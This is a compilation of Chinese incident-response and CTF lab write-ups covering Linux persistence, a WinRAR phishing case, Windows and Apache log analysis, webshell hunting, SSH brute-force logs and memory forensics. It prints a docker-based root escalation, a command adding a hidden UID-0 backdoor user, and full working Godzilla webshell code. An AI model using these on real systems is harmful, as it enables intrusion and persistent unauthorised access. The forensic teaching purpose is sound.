-perm -4000：查找 SUID（Set User ID）位 设为 4（即 -rwsr-xr-x） 的文件。
- SUID 使得文件在执行时继承其文件所有者的权限，而不是运行它的用户的权限。
- 例如，如果
passwd命令具有 SUID，那么普通用户执行时也能修改/etc/shadow。
/sbin/getcap -r /：递归（-r）查找 文件的 capability（能力）权限。
没有什么可以利用的，直接上linpeas脚本检测一下
这里高亮显示了docker 说明很有可能可以利用docker提权
user@ip-10-0-10-5:/tmp$ id
uid=1000(user) gid=1000(user) groups=1000(user),1001(docker)
user@ip-10-0-10-5:/tmp$ ps -aux |grep docker
root 491 0.0 3.4 1439544 70632 ? Ssl 07:06 0:00 /usr/bin/dockerd
ps -aux显示所有用户的进程，包括守护进程，并以详细格式输出。
| 参数 | 作用 |
|---|---|
a |
显示所有用户的进程（包括其他用户的进程） |
u |
以用户友好的格式显示进程（包含用户名、CPU/内存占用等信息） |
x |
显示无终端控制的进程（例如守护进程） |
user用户在docker组里面，而且docker有root权限
在GTFOBins中找出docker镜像提权相关内容，进行提权
docker run -v /:/mnt -it alpine
chroot /mnt bash
flag{ATMB_root}
步骤八：黑客3s埋了一个flag在权限维持过程中的地方，可以发现flag()括号内的首字母是c开头，如flag{cxxxxxxx)
可以先先新建一个test1用户 然后给root权限 再ssh工具连接上去方便操作
useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
| 选项 | 含义 |
|---|---|
useradd |
Linux 命令，用于创建新用户 |
-p $(openssl passwd -1 -salt 'salt' 123456) |
指定用户密码，使用 openssl passwd 生成 |
test1 |
要创建的用户名 |
-o |
允许使用重复的 UID（通常不允许多个用户使用相同 UID） |
-u 0 |
指定用户 UID 为 0，即 root 用户 |
-g root |
设置主组为 root |
-G root |
额外添加用户到 root 组 |
-s /bin/bash |
指定用户的默认 shell 为 /bin/bash |
-d /home/test1 |
设置用户的主目录为 /home/test1 |
编辑当前用户的定时任务列表（corntab）
crontab -e
flag{cr0nt4b_IRfind}
步骤九：黑客3s做了一个root用户执行cat命令就删除文件的操作，请发现删除了什么文件将文件名作为flag提交
这里考点是命令劫持
检测是否存在LD劫持
echo $LD_PRELOAD
LD_PRELOAD 是 Linux 动态链接器（ld.so） 的一个特殊环境变量，用于强制优先加载指定的共享库，无论程序本身的依赖如何。
- 正常情况下，程序会使用系统默认的共享库（如
/lib64/libc.so.6）。 - 如果
LD_PRELOAD被设置，则指定的库会优先于系统库加载，这可以用来：- 调试：加载修改后的
libc.so来跟踪malloc()、printf()等函数。 - 性能优化：替换部分标准库函数，提高性能。
- 攻击目的（LD 劫持）：劫持关键函数，执行恶意代码，如窃取
ssh密码。
- 调试：加载修改后的
在root用户下运行，不要在test1用户运行。
追踪和分析 /bin/cat 命令在执行过程中文件系统相关操作的命令。
strace -f -e trace=file /bin/cat
strace：用于跟踪进程执行过程中与系统内核交互的系统调用。
-f (--follow-fork)：跟踪子进程，确保 cat 进程的所有子进程（如果有）都被监控。
-e trace=file：
-e选项用于过滤系统调用，只追踪指定类型的系统调用。trace=file只跟踪文件相关的系统调用
逆向文件
flag{.bash_history}
步骤十：黑客3s很执着清理痕迹，并做了一个持续删痕迹的手段，请发现手段并给出删除的完整黑客删除命令的md5,如flag
根据上题发现的$LD_PRELOAD在/root/.bashrc里面发现一个文件
/root/.bashrc 是 root 用户的 Bash Shell 配置文件，当 root 用户启动交互式非登录 Shell（如打开终端或子 Shell）时，会自动加载该文件。其核心作用是 定制 root 用户的工作环境，包含环境变量、别名、函数等配置。
逆向分析可以发现相关代码
rm -rf ~/.bash_history >/dev/null 2>&1
flag{b0f531b39d88d4f603fc89bd4dd2c0aa}
步骤十一：黑客3s设置了一个万能密码后门使得这一个万能密码可以以所有用户身份登陆，也不影响原来密码使用。请发现这个万能密码，提交fag格式为flag{万能密码)
万能密码首先想到openssh替换 或者PAM替换
OpenSSH 源码替换
攻击原理：修改 OpenSSH 服务端（sshd）源码，在密码验证逻辑中植入万能密码校验逻辑，无论用户真实密码如何，只要输入万能密码即可通过认证。
PAM 模块替换
攻击原理：PAM（Pluggable Authentication Modules）是 Linux 身份验证的底层框架。通过劫持 PAM 栈，在认证流程中插入自定义逻辑，实现万能密码绕过。
pam_unix.so 负责与本地 Unix 系统认证进行交互，主要用于处理用户的身份验证，如密码验证
查找其位置
find /lib /lib64 /usr/lib /usr/lib64 -name pam_unix.so
发现被修改过。这里很可疑
ida逆向分析一下
万能密码就是ATMB6666
flag{ATMB6666}
钓鱼事件应急
靶机名：钓鱼事件应急
靶机账号/密码：administrator/xj@123456
原文地址：Docs、玄机靶场|钓鱼事件应急 | CN-SEC 中文网
步骤一：攻击者通过钓鱼攻击拿下来目标主机，请给出攻击者钓鱼使用的漏洞编号，flag格式:flag{CVE-2019-13514)
在桌面处发现一个漏洞通报.rar的文件，其内部存在一个文件夹
进入文件夹之后发现里面有一个bat文件
根据这个可以猜测出来该文件为恶意文件，并且是利用winrar的漏洞，利用过该漏洞的大哥应该能直接看出来，如果没看出来是哪个漏洞，可以直接将该文件放入云沙箱中，可以直接看到为：CVE-2023-38831
或者运行压缩包里面的脚本。df（Windows Defender）直接报毒并给出cve编号了
答案：flag{CVE-2023-38831}
步骤二：给出钓鱼程序下载木马的地址，flag格式:flag
直接分析rar文件，将rar解压，以记事本方式打开文件夹里面的cmd文件
发现是一个PE文件，重命名为exe文件，用ida64打开
可以看到下载地址以及存储位置http://192.168.229.156:7001/wls-wsat/7z.exe
答案：flag{http://192.168.229.156:7001/wls-wsat/7z.exe}
步骤三：给出远控木马的小写md5，flag格式:flag
根据上步的反编译结果可以看到木马存储的地址为C:\Users\Administrator\AppData\Local\Temp\7z.exe，进入这个目录，但是进入之后发现并没有。
也可以这样找位置：打开压缩包里面的cmd脚本 df报毒 看一下位置
查看隐藏文件：
使用dir /a是可以看到有一个7z.exe文件的
使用命令attrib -s -h 7z.exe取消掉7z.exe的隐藏文件属性 与系统文件属性，即可显示出来
dir /a：列出所有文件，包括隐藏文件。
attrib -s -h 7z.exe：修改文件属性，移除 7z.exe 的系统文件属性和隐藏文件属性。
答案：flag{d1e11c3281072d11088e7b422ad52e6c}
步骤四：给出远控木马程序的服务端IP:flag格式:flag
把7z.exe放云沙箱里面扫一下即可
或者运行7z.exe，并且通过抓包工具Microsoft Network Monitor 可以看到该程序不断地向一个指定ip发送请求。
答案：flag{192.168.229.136}
步骤五：给出攻击者在横向中上传的内网扫描工具位置，flag格式:flag
在C:\Windows\Temp目录下发现了fscan，
访问这个目录时fscan可能会被df删掉，还原即可
答案：flag{C:\Windows\Temp\fscan.exe}
步骤六：给出攻击者在权限维持中创建的服务名称，flag格式:flag
创建服务事件：
在Windows系统日志中，事件ID 7045 属于 服务控制管理器（Service Control Manager） 记录的日志类型，具体用于记录 新服务的创建或现有服务的配置修改。
在系统日志中筛选日志id:7045
可以看到7z.exe被创建为了一个mysql服务，服务名为:MysqlServer，很明显了。
或者
查看系统服务
这里我按照描述来排序。优先看没有描述的。
查看属性
答案：flag{MysqlServer}
步骤七：给出攻击者创建影子账户的名称，flag格式:flag
查看文件夹 c:\users
或者
影子账户的排查再为基础不过了，在任务管理器中就可以直接看到了
答案：flag{hack$}
步骤八：给出攻击者第一次成功远程登入系统的时间fag格式:flag
用小工具查看即可
项目地址：dogadmin/windodws-logs-analysis: windows日志一键分析小工具
或者搜索安全日志中的4624登录成功事件
答案：flag{2024-09-22 13:15:11}
步骤九：攻击者在横向中创建了一个端口转发规则，给出转发的目的IP地址和端口，flag格式:flag
在 Windows 系统中，端口转发规则可能是通过 netsh 工具配置的
使用命令查看
netsh interface portproxy show all
答案：flag{10.10.10.103:3389}
第五章 Windows 实战-evtx 文件分析
服务器场景操作系统 None
点击下载附件获取附件
任务环境说明
注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
应急响应工程师在收到设备告警后，在受到攻击的服务器保存了一份log 请你协助分析 LOG 文件提交对应的 FLAG
开放题目
漏洞修复
参考
原文地址：第五章 Windows 实战-evtx 文件分析-CSDN博客、第五章 Windows 实战-evtx 文件分析 - Pmv57 - 博客园，还有
步骤一：将黑客成功登录系统所使用的IP地址作为Flag值提交
分析安全日志中的成功登录事件（过滤事件ID4624）：
黑客登录成功ip为192.168.36.133
步骤二：黑客成功登录系统后修改了登录用户的用户名，将修改后的用户名作为Flag值提交
用户账户属性被修改事件ID为4781：
或者查看用户账户名称被修改事件ID为4738
步骤三：黑客成功登录系统后成功访问了一个关键位置的文件，将该文件名称（文件名称不包含后缀）作为Flag值提交
受保护的文件/对象访问尝试事件ID为4663：
检测未经授权访问文件和文件夹的行为
步骤四：黑客成功登录系统后重启过几次数据库服务，将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交
根据上述黑客攻击的时间段，为2020年10月8日 筛选应用程序日志记录时间为2020年10月8日，来事件源为MySQL
CTRL+F 搜索start，定位到最后一次启动数据库，15:53:09发现最后一次mysql重启，进程为8820
步骤五：黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作，将黑客使用修改后的用户重启系统的次数作为Flag值提交。
筛选系统日志事件ID1074，查看计算机开机、关机、重启的时间、原因、注释：
CTRL+F 搜索Administratro，找对成对的记录，2次重启，1次关机
第四章 windows实战-emlog
服务器场景操作系统 Windows
服务器账号密码 administrator xj@123456
题目来源公众号 知攻善防实验室
https://mp.weixin.qq.com/s/89IS3jPePjBHFKPXnGmKfA
任务环境说明
注：样本请勿在本地运行！！！样本请勿在本地运行！！！样本请勿在本地运行！！！
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件，请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/1gebC1OkDgtz4k4YtN10dg
步骤一：通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交
进入phpstudy目录，查看access.log，找到黑客连接的shell路径，打开看到密码是冰蝎默认的rebeyond
D盾扫也能出
步骤二：通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交
还是看access.log，连接shell的ip就是黑客的ip
步骤三：通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交
使用Windows日志一键分析功能
查看远程桌面登陆成功日志（项目地址：dogadmin/windodws-logs-analysis: windows日志一键分析小工具）
发现未知用户名hack168$
或查看控制面板，带$的是隐藏账户
步骤四：通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交
在hacker138用户的桌面找到Kuang.exe，是用python打包的，用pyinstxtractor.py先解包，再用uncompyle6反编译Kuang.pyc，在代码中找到域名
第二章日志分析-apache日志分析
账号密码 root apacherizhi
ssh root@IP
1、提交当天访问次数最多的IP，即黑客IP：
2、黑客使用的浏览器指纹是什么，提交指纹的md5：
3、查看包含index.php页面被访问的次数，提交次数：
4、查看黑客IP访问了多少次，提交次数：
5、查看2023年8月03日8时这一个小时内有多少IP访问，提交次数:
参考文章：应急靶场(11)：【玄机】日志分析-apache日志分析和：
步骤一：提交当天访问次数最多的IP，即黑客IP
Apache日志常见路径：
/var/log/apache/access.log
/var/log/apache2/access.log
/var/log/httpd/access.log
本关路径在/var/log/apache2/access.log下(通过命令ls -lah根据文件大小，判断日志文件是access.log.1，因为access.log的大小是0)：
access.log.1 的产生通常是由于 日志轮转（log rotation） 机制。日志轮转的目的是防止日志文件无限增长，占用过多磁盘空间。
使用awk进行分析：
awk "{print $1}" access.log | sort | uniq -c
效果与下面差不多
cut -d- -f 1 access.log.1：
cut是一个用于从文本中按字段分割提取特定列的工具。-d-：指定分隔符为-，即将每行按-分割成多个字段。-f 1：表示提取每行的第一个字段。access.log.1：输入文件，这里是分析的日志文件。
uniq -c
uniq用于去除重复行，并且在每个行前加上该行出现的次数。-c选项表示在每个唯一的行前面加上该行出现的次数。
sort -rn
sort用于对输入进行排序。-r：表示按降序排序（从大到小）。-n：表示按数值大小排序，而不是按字母顺序。
head -20
head命令用于显示输入的前几行。-20：表示显示前 20 行。
步骤二：黑客使用的浏览器指纹是什么，提交指纹的md5
着重分析黑客IP请求的内容：
cat access.log.1 |grep "192.168.200.2"
提取出浏览器指纹为Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
可以知道黑客的一些配置。
步骤三：查看包含index.php页面被访问的次数，提交次数
对日志中包含index.php内容的数据进行过滤，并且进行计数：
grep "/index.php" access.log.1 |wc -l
wc（word count）命令进行计数，-l参数就是只计算行数
步骤四：查看黑客IP访问了多少次，提交次数
同理
grep -w "192.168.200.2" access.log.1 |wc -l
全词匹配
使用-w参数进行全匹配，它确保只匹配完全独立的单词，而不匹配包含在其他单词中的部分。具体来说，-w 会匹配完整的、以空格或其他非字母数字字符分隔的词。
因此不会匹配到192.168.200.211：
步骤五：查看2023年8月03日8时这一个小时内有多少IP访问，提交次数
这个时间段在日志中表示为03/Aug/2023:08:，因此我们首先要过滤包含它的数据
然后要统计IP有多少，对此进行统计：
cat access.log.1 | grep "03/Aug/2023:08:" | awk '{print $1}' | sort -nr| uniq -c
使用sort命令进行数字（-n）逆序（-r）
最终查询出有五个 IP 在此时间段内进行访问
第一章 应急响应-webshell查杀
靶机账号密码 root xjwebshell
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}
参考文章：
步骤一：黑客webshell里面的flag flag
D盾扫描直接找到shell
新思路：手动查询
这里因为要查询的是 PHP WebShell，故将后缀确定为.php，之后搜索 WebShell 常用的eval()函数，除此以外还有assert()等方法
做个加强版：
find ./ -type f -name "*.php" | xargs grep -E -i "eval\s*\(|assert\s*\(|system\s*\(|exec\s*\(|shell_exec\s*\(|passthru\s*\(|popen\s*\(|proc_open\s*\(|file_get_contents\s*\(|base64_decode\s*\(|gzuncompress\s*\(|str_rot13\s*\("
xargs 可以将管道或标准输入数据转换成命令行参数，也能够从文件的输出中读取数据，通常和管道符一起使用
关键函数检测
| 函数名 | 作用 | WebShell 相关性 |
|---|---|---|
eval() |
运行 PHP 代码 | 高 |
assert() |
运行 PHP 代码（类似 eval） |
高 |
system() |
执行系统命令 | 高 |
exec() |
执行系统命令，返回输出 | 高 |
shell_exec() |
运行 shell 命令，返回输出 | 高 |
passthru() |
运行 shell 命令，直接输出 | 高 |
popen() |
运行命令，返回管道流 | 中 |
proc_open() |
运行命令，提供更多控制 | 中 |
file_get_contents() |
读取文件（可能用于获取 WebShell 代码） | 低 |
base64_decode() |
可能用于隐藏代码 | 低 |
gzuncompress() |
可能用于压缩/解压缩 WebShell | 低 |
str_rot13() |
可能用于混淆代码 | 低 |
之后我们对搜索出的三个文件依次进行排查，排查./include/gz.php文件时发现 Flag 为027ccd04-5065-48b6-a32d-77c704a5e26d（提交时注意 Flag 格式）
步骤二：黑客使用的什么工具的shell github地址的md5 flag
木马代码：
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
$data=encode($data,$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo encode(@run($data),$key);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}
其中出现的密钥值3c6e0b8a9c15224a是哥斯拉的默认key
推荐文章：常见webshell工具及特征分析 - FreeBuf网络安全行业门户
哥斯拉项目地址：
https://github.com/BeichenDream/Godzilla
步骤三：黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
根据之前的查杀结果，这里 Shell 的路径是/var/www/html/include/Db/.Mysqli.php，这里用ls是看不出来的，需要使用ls -a命令显示隐藏文件
步骤四：黑客免杀马完整路径 md5 flag
所谓免杀马，就是绕过安全检测，使木马正常工作的方式，关于 PHP 免杀可以参考# PHP从零学习到Webshell免杀手册，简单来说，PHP 免杀马通常字符串异或加密、Base 家族加密、rot13加密、字符串拼接等方式实现，这里我们对 Base64 编码进行查杀，依然是手动搜索
find ./ -name "*.php" | xargs grep "base64_decode"
打开确认的确是免杀马
第一章 应急响应-Linux日志分析
账号root密码linuxrz
ssh root@IP
1.有多少IP在爆破主机ssh的root帐号，如果有多个使用","分割
2.ssh爆破成功登陆的IP是多少，如果有多个使用","分割
3.爆破用户名字典是什么？如果有多个使用","分割
4.登陆成功的IP共爆破了多少次
5.黑客登陆主机后新建了一个后门用户，用户名是多少
参考文章：
步骤一：有多少IP在爆破主机ssh的root帐号，如果有多个使用","分割 小到大排序 例如flag
首先切换到日志目录/var/log，列出所有日志文件 
linux常见日志：
| 日志文件 | 说明 |
|---|---|
| /var/log/cron | 记录与系统定时任务相关的日志 |
| /var/log/cups/ | 记录打印信息的日志 |
| /var/log/dmesg | 记录了系统在开机时内核自检的信总。也可以使用dmesg命令直接查看内核自检信息 |
| /var/log/btmp | 记录错误登陆的日志。这个文件是二进制文件，不能直接用V查看，而要使用lastb命令查看。命令如下： [root@localhost log]#lastb root ty1Tue Jun422:38-22:38 00:0) #有人在6月4日22:38便用root用户在本地终端1登陆错误 |
| /var/log/lastlog | 记录系统中所有用户最后一次的登录时间的日志。这个文件也是二进制文件，不能直接用Vim查看。而要使用lastlog命令查看 |
| /var/log/mallog | 记录邮件信息的日志 |
| /var/log/messages | 它是核心系统日志文件，其中包含了系统启动时的引导信息，以及系统运行时的其他状态消息。VO错误、网络错误和其他 varlog/messages系统错误都会记录到此文件中。其他信息，比如某个人的身份切换为root，已经用户自定义安装软件的日志，也会在这里列 出。 |
| /var/log/secure | 记录验证和授权方面的倍息，只要涉及账户和密码的程序都会记录，比如系统的登录、ssh的登录、su切换用户，sudo授 权，甚至添加用户和修改用户密码都会记录在这个日志文件中 |
| var/log/wtmp | 永久记录所有用户的登陆、注销信息，同时记录系统的后动、重启、关机事件。同样，这个文件也是二进制文件.不能直接用 元 Vi查看，而要使用last命令查看 |
| /var/tun/ulmp | 记录当前已经登录的用户的信息。这个文件会随着用户的登录和注销而不断变化，只记录当前登录用户的信息。同样，这个 文件不能直接用V查看，而要使用w、who、users等命令查看 |
| /var/log/auth | 是 Linux 系统中的身份验证日志文件，通常用于记录系统的认证和授权相关事件。 |
这里 auth 日志有两条，分别是auth.log和auth.log.1，我们的判断基础是这两个文件，其次这里我们需要判断出哪些爆破的是 Root 账号，所以需要搜索 Failed password for root
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password for root" | awk '{print $11}' | sort | uniq -c | sort -nr | more
原日志中以下内容会被匹配到：
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
步骤二：ssh爆破成功登陆的IP是多少，如果有多个使用","分割
依然是搜索 auth 日志，当 SSH 登录成功时，会回显Accepted，所以我们在日志文件中匹配这个关键词
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted " | awk '{print $11}' | sort | uniq -c | sort -nr | more
原日志中以下内容会被匹配到：
Aug 1 07:47:23 linux-rz sshd[7505]: Accepted password for root from 192.168.200.2 port 46563 ssh2
Aug 1 07:50:37 linux-rz sshd[7539]: Accepted password for root from 192.168.200.2 port 48070 ssh2
（下面这个打码的是原作者登录 SSH 的 IP，与靶机无关）
步骤三：爆破用户名字典是什么？如果有多个使用","分割
寻找验证错误的记录：
cat auth.log.1|grep -a "Failed password"
能够匹配到：
Aug 1 07:40:50 linux-rz sshd[7461]: Failed password for invalid user test1 from 192.168.200.35 port 33874 ssh2
Aug 1 07:41:04 linux-rz sshd[7465]: Failed password for invalid user test2 from 192.168.200.35 port 51640 ssh2
Aug 1 07:41:13 linux-rz sshd[7468]: Failed password for invalid user test3 from 192.168.200.35 port 48168 ssh2
Aug 1 07:42:32 linux-rz sshd[7471]: Failed password for root from 192.168.200.32 port 51888 ssh2
Aug 1 07:46:41 linux-rz sshd[7475]: Failed password for invalid user user from 192.168.200.2 port 36149 ssh2
Aug 1 07:46:47 linux-rz sshd[7478]: Failed password for invalid user user from 192.168.200.2 port 44425 ssh2
Aug 1 07:46:50 linux-rz sshd[7480]: Failed password for invalid user user from 192.168.200.2 port 38791 ssh2
Aug 1 07:46:54 linux-rz sshd[7482]: Failed password for invalid user user from 192.168.200.2 port 37489 ssh2
Aug 1 07:46:56 linux-rz sshd[7484]: Failed password for invalid user user from 192.168.200.2 port 35575 ssh2
Aug 1 07:46:59 linux-rz sshd[7486]: Failed password for invalid user hello from 192.168.200.2 port 35833 ssh2
Aug 1 07:47:02 linux-rz sshd[7489]: Failed password for invalid user hello from 192.168.200.2 port 37653 ssh2
Aug 1 07:47:04 linux-rz sshd[7491]: Failed password for invalid user hello from 192.168.200.2 port 37917 ssh2
Aug 1 07:47:08 linux-rz sshd[7493]: Failed password for invalid user hello from 192.168.200.2 port 41957 ssh2
Aug 1 07:47:10 linux-rz sshd[7495]: Failed password for invalid user hello from 192.168.200.2 port 39685 ssh2
Aug 1 07:47:13 linux-rz sshd[7497]: Failed password for root from 192.168.200.2 port 34703 ssh2
Aug 1 07:47:18 linux-rz sshd[7499]: Failed password for root from 192.168.200.2 port 46671 ssh2
Aug 1 07:47:20 linux-rz sshd[7501]: Failed password for root from 192.168.200.2 port 39967 ssh2
Aug 1 07:47:22 linux-rz sshd[7503]: Failed password for root from 192.168.200.2 port 46647 ssh2
Aug 1 07:47:26 linux-rz sshd[7525]: Failed password for invalid user from 192.168.200.2 port 37013 ssh2
Aug 1 07:47:30 linux-rz sshd[7528]: Failed password for invalid user from 192.168.200.2 port 37545 ssh2
Aug 1 07:47:32 linux-rz sshd[7530]: Failed password for invalid user from 192.168.200.2 port 39111 ssh2
Aug 1 07:47:35 linux-rz sshd[7532]: Failed password for invalid user from 192.168.200.2 port 35173 ssh2
Aug 1 07:47:39 linux-rz sshd[7534]: Failed password for invalid user from 192.168.200.2 port 45807 ssh2
Aug 1 07:52:59 linux-rz sshd[7606]: Failed password for root from 192.168.200.31 port 40364 ssh2
使用perl提取其中用户名的那一段
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr
perl -e 允许在命令行中执行 Perl 代码，不需要写独立的 Perl 脚本文件。
while($_=<>) 逐行读取 grep 过滤后的日志行。
/for(.*?) from/ 用正则匹配 用户名（即 for user from 之间的内容）。
print "$1\n"; 只输出匹配的用户名
步骤四：成功登录 root 用户的 ip 一共爆破了多少次
由步骤一可知答案
步骤五：黑客登陆主机后新建了一个后门用户，用户名是多少
在/etc/passwd中查看：
新思路：auth 日志审计
搜索 ”new user“ 关键词，查到用户名为test2
cat /var/log/auth.log.1 /var/log/auth.log |grep -a "new user"
中等
第八届西湖论剑DS-easyrawencode
题目官方WP：
上：https://mp.weixin.qq.com/s/qefJ0YkKgXBUH0gyKGhImA
下：https://mp.weixin.qq.com/s/gXYLwdup6HYd_rETUSb9aA
如有侵权请联系群管理员删除
步骤一：数据好似被加密了？
下载附件，是.raw内存文件，进行挂载
题目存在加密数据，因此在进程、文件列表中搜索关键词encrypt（因为是杂项题目而不是真实情况分析）
或是在文件列表中搜索关键数据格式文件：.txt、.zip、.doc等：
找到加密数据encrypted_data.zip，在相关文件夹下发现更多文件：
分别是加密脚本hack.py、加密私钥private.pem，我们全部导出
hack.py内容如下：
import os
import hashlib
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
# 从环境变量获取密钥 hackkey
hackkey = os.getenv('hackkey')
if not hackkey:
raise ValueError("环境变量 'hackkey' 未设置")
# 读取 RSA 私钥
with open('private.pem', 'r') as f:
private_key = RSA.import_key(f.read())
# 生成 RSA 公钥
public_key = private_key.publickey().export_key()
# 通过 hackkey 计算 AES 密钥（SHA-256 哈希）
aes_key = hashlib.sha256(hackkey.encode()).digest()
# 读取 data.csv 文件内容
with open('data.csv', 'rb') as f:
data = f.read()
# 创建 AES 加密对象（EAX 模式）
cipher_aes = AES.new(aes_key, AES.MODE_EAX)
# 使用 AES 加密数据并生成 MAC 校验码（tag）
ciphertext, tag = cipher_aes.encrypt_and_digest(data)
# 使用 RSA 公钥加密 AES 密钥
cipher_rsa = PKCS1_OAEP.new(RSA.import_key(public_key))
enc_aes_key = cipher_rsa.encrypt(aes_key)
# 将加密后的数据写入文件
with open('encrypted_data.bin', 'wb') as f:
f.write(ciphertext)
# 输出加密后的 AES 密钥（十六进制表示）
print(enc_aes_key.hex())
# 输出 AES 加密的 nonce 值（十六进制表示）
print(cipher_aes.nonce.hex())
# 输出 AES 计算的 tag 值（十六进制表示）
print(tag.hex())
1.读取环境变量 hackkey
2.计算 AES 密钥
- 使用 SHA-256 计算 hash
- 生成 32 字节的 AES 密钥
(aes_key = hashlib.sha256(hackkey.encode()).digest())
3.读取 data.csv 文件内容
- 以二进制模式读取整个文件
4.生成 AES 密钥的加密器 (EAX 模式)
(cipher_aes = AES.new(aes_key, AES.MODE_EAX))
5. 使用 AES 进行加密
- 生成密文 (ciphertext)
- 生成 tag (完整性校验值)
(ciphertext, tag = cipher_aes.encrypt_and_digest(data))
6. 读取 RSA 私钥 (private.pem)
- 解析 RSA 私钥对象
7. 获取 RSA 公钥
(public_key = private_key.publickey().export_key())
8. 用 RSA 公钥加密 AES 密钥
- 使用 PKCS1_OAEP 进行非对称加密
(enc_aes_key = cipher_rsa.encrypt(aes_key))
9. 写入加密数据
- 保存 AES 加密后的密文 -> encrypted_data.bin
10. 输出加密信息
- 输出 enc_aes_key (RSA加密后的AES密钥)
- 输出 nonce (AES加密时的随机数)
- 输出 tag (完整性校验值)
因此还要寻找环境变量hackkey，使用volatility3插件：
hackkey为4etz0hHbU3TgKqduFL
再使用console插件看看使用hack.py脚本时输出的值：
20d96098010eb9b326be6c46e1ce1ca679e29f1d65dec055cf8c46c6436c3356af2dc312b2d35466308b9fff0dd427b44a37e34fca12992e45db2ddd81884bd8eb5bccd3c595e8a9a352bd61322e1d52329d6c8638bbfce65edffbc4d3a5759e88c0f90e31ce518837552a3a09d8e7e3c374f3857bfe501cce2066fb233ff1f5faac18d73c3b665a54e8c55574f16bf4678c5ce835d2a14a65f8c1cec012435a8c06314cbe727a3a9b6060dfd6cdb850073423841178f6f409bb7ce8d4863c6f58855954d34af3d2964c488c9057c8c5072a54e43f1f8039d32409eb1ff3abca41c0b302788c4c56c1a4be4506ff5b8aff0242e21c0ee7ffee2da20ed9434334 d919c229aab6535efa09a52c589c8f47
5b204675b1b173c32c04b0b8a100ee29
解密流程：
- 设置
hackkey：这是用来生成 AES 密钥的原始字符串。 - 获取
nonce：它是 AES 解密时的初始化向量（IV）。 - 读取加密文件：从
encrypted_data.bin文件中读取加密数据。 - 生成 AES 密钥：通过
hackkey使用 SHA-256 哈希生成 256 位的 AES 密钥。 - 初始化解密器：使用
AES.MODE_EAX模式和生成的密钥、nonce来初始化解密器。 - 解密：使用
cipher_aes.decrypt()方法解密数据。 - 保存解密结果：将解密后的数据写入
data.csv文件。
解密脚本（来源于第八届西湖论剑easyrawencode - Chromos2me's Blog）：
from Crypto.Cipher import AES # 导入 AES 解密模块
import hashlib # 导入 hashlib 用于生成 AES 密钥
# 设置 hackkey（用于生成 AES 密钥）
hackkey = "4etz0hHbU3TgKqduFL"
# 将提供的 nonce 转换为字节格式（用于 AES 解密）
nonce = bytes.fromhex('d919c229aab6535efa09a52c589c8f47')
# 读取加密后的数据 ciphertext
with open('encrypted_data.bin', 'rb') as f:
ciphertext = f.read() # 读取加密数据
# 使用 hackkey 生成 AES 密钥（SHA-256 哈希）
aes_key = hashlib.sha256(hackkey.encode()).digest()
# 使用 AES 算法和 EAX 模式来初始化解密器
cipher_aes = AES.new(aes_key, AES.MODE_EAX, nonce=nonce)
# 解密加密数据
data = cipher_aes.decrypt(ciphertext)
# 将解密后的数据写入到新的 CSV 文件中
with open('data.csv', 'wb') as f:
f.write(data) # 写入解密后的内容到文件
# 输出解密成功的提示
print("成功解密出data.csv")
得到全是加密的个性签名数据：
现在我们有密码和个性签名密文，进行常见的带key解密可以发现是RC4解密：
批量RC4解密（来源：第八届西湖论剑·中国杭州网络安全技能大赛初赛官方Write Up（上））：
import pandas as pd
from Crypto.Cipher import ARC4
import base64
def decrypt_rc4(ciphertext, key):
cipher = ARC4.new(key.encode())
decrypted_data = cipher.decrypt(base64.b64decode(ciphertext))
return decrypted_data.decode('utf-8')
df = pd.read_csv('data.csv')
df['个性签名(解密版)'] = df.apply(lambda row: decrypt_rc4(row['个性签名(加密版)'], row['密码']), axis=1)
df.to_csv('data_decode.csv', index=False)
搜索flag关键词，找出：
